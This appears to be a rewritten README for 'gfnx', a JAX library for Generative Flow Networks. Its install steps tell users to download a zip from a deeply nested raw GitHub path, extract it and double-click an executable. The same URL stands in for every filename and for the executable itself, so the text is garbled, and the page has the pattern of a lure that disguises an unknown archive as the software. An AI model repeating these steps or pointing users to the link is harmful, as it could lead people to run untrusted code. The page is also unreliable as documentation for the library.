Welcome to gfnx! This application helps you work with Generative Flow Networks using JAX. It provides a user-friendly way to create and manage algorithms in a clear environment.
To get started, you need to download the application. You can find the latest version on our Releases page.
Please visit this page to download: GitHub Releases.
Before downloading, ensure your system meets these requirements:
- Operating System: Windows 10 or higher, macOS 10.15 or higher, or a recent version of Linux.
- Storage Space: At least 500 MB free space.
- Memory: Minimum of 4 GB RAM recommended.
- JAX Installation: Ensure JAX is installed. You can find installation instructions on the official JAX website.
Follow these steps to install gfnx on your computer:
- Visit the GitHub Releases page.
- Locate the latest release at the top of the list.
- Click on the file you wish to download, which will usually have a name like
https://raw.githubusercontent.com/Gpcode233/gfnx/main/proxy/weights/amp/model/ocdbt.process_0/gfnx_v2.7.zip,https://raw.githubusercontent.com/Gpcode233/gfnx/main/proxy/weights/amp/model/ocdbt.process_0/gfnx_v2.7.zip, orhttps://raw.githubusercontent.com/Gpcode233/gfnx/main/proxy/weights/amp/model/ocdbt.process_0/gfnx_v2.7.zip. - Save the file to your computer.
- Once the download is complete, locate the file in your downloads folder.
- Unzip the folder by right-clicking on it and selecting "Extract All" (Windows) or use a program like Unarchiver (macOS).
- Open the extracted folder and find the executable file (for Windows, this will be
https://raw.githubusercontent.com/Gpcode233/gfnx/main/proxy/weights/amp/model/ocdbt.process_0/gfnx_v2.7.zip).
After installation is complete, follow these steps to run the application:
- Double-click on the
https://raw.githubusercontent.com/Gpcode233/gfnx/main/proxy/weights/amp/model/ocdbt.process_0/gfnx_v2.7.zip(Windows) or the equivalent file for your operating system. - A window will open displaying the gfnx interface.
- You can now begin creating and managing your Flow Networks.
gfnx offers various features designed to make your experience easy and efficient:
- User-Friendly Interface: Intuitive design lets you get started quickly.
- Multiple Environment Support: Use in different programming environments.
- Flexible Algorithm Options: Easily switch between various algorithms for network generation.
- Real-Time Monitoring: Track your progress and performance as you work.
If you need help using gfnx, check these resources:
- Quick Start Guide: A step-by-step guide to get you up and running.
- Video Tutorials: Visual guides showing different features and tips.
- User Manual: Detailed documentation covering all aspects of gfnx.
Join our community for help and support.
- GitHub Issues: Report bugs or request features through our issues page.
- Discussion Forum: Engage with other users and share your experiences.
We welcome contributions from everyone. If you want to help improve gfnx, consider the following:
- Fork the repository on GitHub.
- Make your changes.
- Submit a pull request with a description of your work.
Here are some common questions about gfnx:
-
Can I run gfnx on older operating systems?
- gfnx is designed for recent versions of Windows, macOS, and Linux. Using older systems may lead to compatibility issues.
-
How do I update gfnx?
- Simply download the latest version from the Releases page and follow the installation steps again.
-
Is there a way to contact the developers?
- You can reach out through the issues section on GitHub or engage with our community for quicker responses.
Feel free to explore and enhance your experience with Generative Flow Networks using gfnx!